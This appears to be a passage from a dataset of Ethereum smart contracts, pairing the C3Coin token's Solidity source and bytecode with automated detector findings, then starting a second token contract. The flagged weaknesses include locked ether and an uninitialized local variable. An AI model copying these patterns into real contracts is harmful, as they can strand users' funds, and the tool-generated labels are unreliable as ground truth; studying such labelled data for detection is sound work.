function tokenFallback(address _from, uint256 _value, bytes _data) external pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title C3Coin
* @dev C3Coin is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract C3Coin is ERC223, Ownable {
using SafeMath for uint;
string public name = "C3coin";
string public symbol = "CCC";
uint8 public decimals = 18;
uint256 public totalSupply = 10e11 * 1e18;
constructor() public {
balances[msg.sender] = totalSupply;
}
mapping (address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowance;
/**
* @dev Getters
*/
// Function to access name of token .
function name() external constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() external constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() external constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() external constant returns (uint256 _totalSupply) {
return totalSupply;
}
/**
* @dev Get balance of a token owner
* @param _owner The address which one owns tokens
*/
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @notice This function is modified for erc223 standard
* @dev ERC20 transfer function added for backward compatibility.
* @param _to Address of token receiver
* @param _value Number of tokens to send
*/
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty = hex"00000000";
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
/**
* @dev ERC223 transfer function
* @param _to Address of token receiver
* @param _value Number of tokens to send
* @param _data Data equivalent to tx.data from ethereum transaction
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function which is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit ERC223Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function which is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit ERC223Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 The amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) external returns (bool success) {
allowance[msg.sender][_spender] = 0; // mitigate the race condition
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner Address The address which owns the funds.
* @param _spender Address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) external constant returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided uniform amount
* @param _addresses List of addresses
* @param _amount Uniform amount of tokens
*/
function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) {
uint256 totalAmount = _amount.mul(_addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint j = 0; j < _addresses.length; j++) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_addresses[j]] = balances[_addresses[j]].add(_amount);
emit Transfer(msg.sender, _addresses[j], _amount);
}
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided various amount
* @param _addresses List of addresses
* @param _amounts List of token amounts
*/
function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) {
uint256 totalAmount = 0;
for(uint j = 0; j < _addresses.length; j++){
totalAmount = totalAmount.add(_amounts[j]);
}
require(balances[msg.sender] >= totalAmount);
for (j = 0; j < _addresses.length; j++) {
balances[msg.sender] = balances[msg.sender].sub(_amounts[j]);
balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]);
emit Transfer(msg.sender, _addresses[j], _amounts[j]);
}
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner public {
_burn(msg.sender, _value);
}
function _burn(address _owner, uint256 _value) internal {
require(_value <= balances[_owner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_owner] = balances[_owner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_owner, _value);
emit Transfer(_owner, address(0), _value);
}
/**
* @dev Default payable function executed after receiving ether
*/
function () public payable {
// does not accept ether
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e8578063095ea7b31461017857806318160ddd146101dd5780631e89d5451461020857806323b872dd146102c957806327e235e31461034e578063313ce567146103a557806342966c68146103d657806370a08231146104035780638da5cb5b1461045a57806395d89b41146104b1578063a16a317914610541578063a9059cbb146105c9578063be45fd621461062e578063dd62ed3e146106d9578063f2fde38b14610750575b005b3480156100f457600080fd5b506100fd610793565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013d578082015181840152602081019050610122565b50505050905090810190601f16801561016a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018457600080fd5b506101c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610835565b604051808215151515815260200191505060405180910390f35b3480156101e957600080fd5b506101f26109a8565b6040518082815260200191505060405180910390f35b34801561021457600080fd5b506102af60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506109b2565b604051808215151515815260200191505060405180910390f35b3480156102d557600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8f565b604051808215151515815260200191505060405180910390f35b34801561035a57600080fd5b5061038f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3a565b6040518082815260200191505060405180910390f35b3480156103b157600080fd5b506103ba610f52565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103e257600080fd5b5061040160048036038101908080359060200190929190505050610f69565b005b34801561040f57600080fd5b50610444600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd1565b6040518082815260200191505060405180910390f35b34801561046657600080fd5b5061046f61101a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104bd57600080fd5b506104c661103f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105065780820151818401526020810190506104eb565b50505050905090810190601f1680156105335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054d57600080fd5b506105af60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001909291905050506110e1565b604051808215151515815260200191505060405180910390f35b3480156105d557600080fd5b50610614600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611345565b604051808215151515815260200191505060405180910390f35b34801561063a57600080fd5b506106bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611397565b604051808215151515815260200191505060405180910390f35b3480156106e557600080fd5b5061073a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ce565b6040518082815260200191505060405180910390f35b34801561075c57600080fd5b50610791600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611455565b005b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561082b5780601f106108005761010080835404028352916020019161082b565b820191906000526020600020905b81548152906001019060200180831161080e57829003601f168201915b5050505050905090565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000806000809150600090505b8451811015610a01576109f284828151811015156109d957fe5b90602001906020020151836114bc90919063ffffffff16565b915080806001019150506109bf565b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a4f57600080fd5b600090505b8451811015610c8357610ac68482815181101515610a6e57fe5b90602001906020020151600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b898482815181101515610b1a57fe5b90602001906020020151600560008885815181101515610b3657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b600560008784815181101515610b9b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515610bf157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515610c5757fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050610a54565b60019250505092915050565b6000610ce382600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7882600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e4a82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60056020528060005260406000206000915090505481565b6000600360009054906101000a900460ff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc457600080fd5b610fce33826114f1565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110d75780601f106110ac576101008083540402835291602001916110d7565b820191906000526020600020905b8154815290600101906020018083116110ba57829003601f168201915b5050505050905090565b60008060006110fa8551856116a790919063ffffffff16565b915081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561114a57600080fd5b600090505b8451811015611339576111aa84600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112568460056000888581518110151561120357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b60056000878481518110151561126857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156112be57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3808060010191505061114f565b60019250505092915050565b600060606040805190810160405280600481526020016000815250905061136b846116df565b156113825761137b8484836116f2565b9150611390565b61138d848483611adb565b91505b5092915050565b60006113a2846116df565b156113b9576113b28484846116f2565b90506113c7565b6113c4848484611adb565b90505b9392505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114b057600080fd5b6114b981611d97565b50565b600081830190508281101515156114cf57fe5b80905092915050565b60008282111515156114e657fe5b818303905092915050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561153f57600080fd5b61159181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e9816004546114d890919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808314156116ba57600090506116d9565b81830290508183828115156116cb57fe5b041415156116d557fe5b8090505b92915050565b600080823b905060008111915050919050565b60008083600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561174357600080fd5b61179584600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182a84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611932578082015181840152602081019050611917565b50505050905090810190601f16801561195f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561198057600080fd5b505af1158015611994573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd186866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a2f578082015181840152602081019050611a14565b50505050905090810190601f168015611a5c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b2b57600080fd5b611b7d83600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1283600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bc90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f9bfafdc2ae8835972d7b64ef3f8f307165ac22ceffde4a742c52da5487f45fd185856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cec578082015181840152602081019050611cd1565b50505050905090810190601f168015611d195780820380516001836020036101000a031916815260200191505b50935050505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611dd357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820fab55592c6e08e6c8fa66db80a7fc936ff16bb545b076f7ed3ff4faa306514b00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,458 |
0xf0897e2b6da91a40eb60738f390adfd0c624cddc | pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
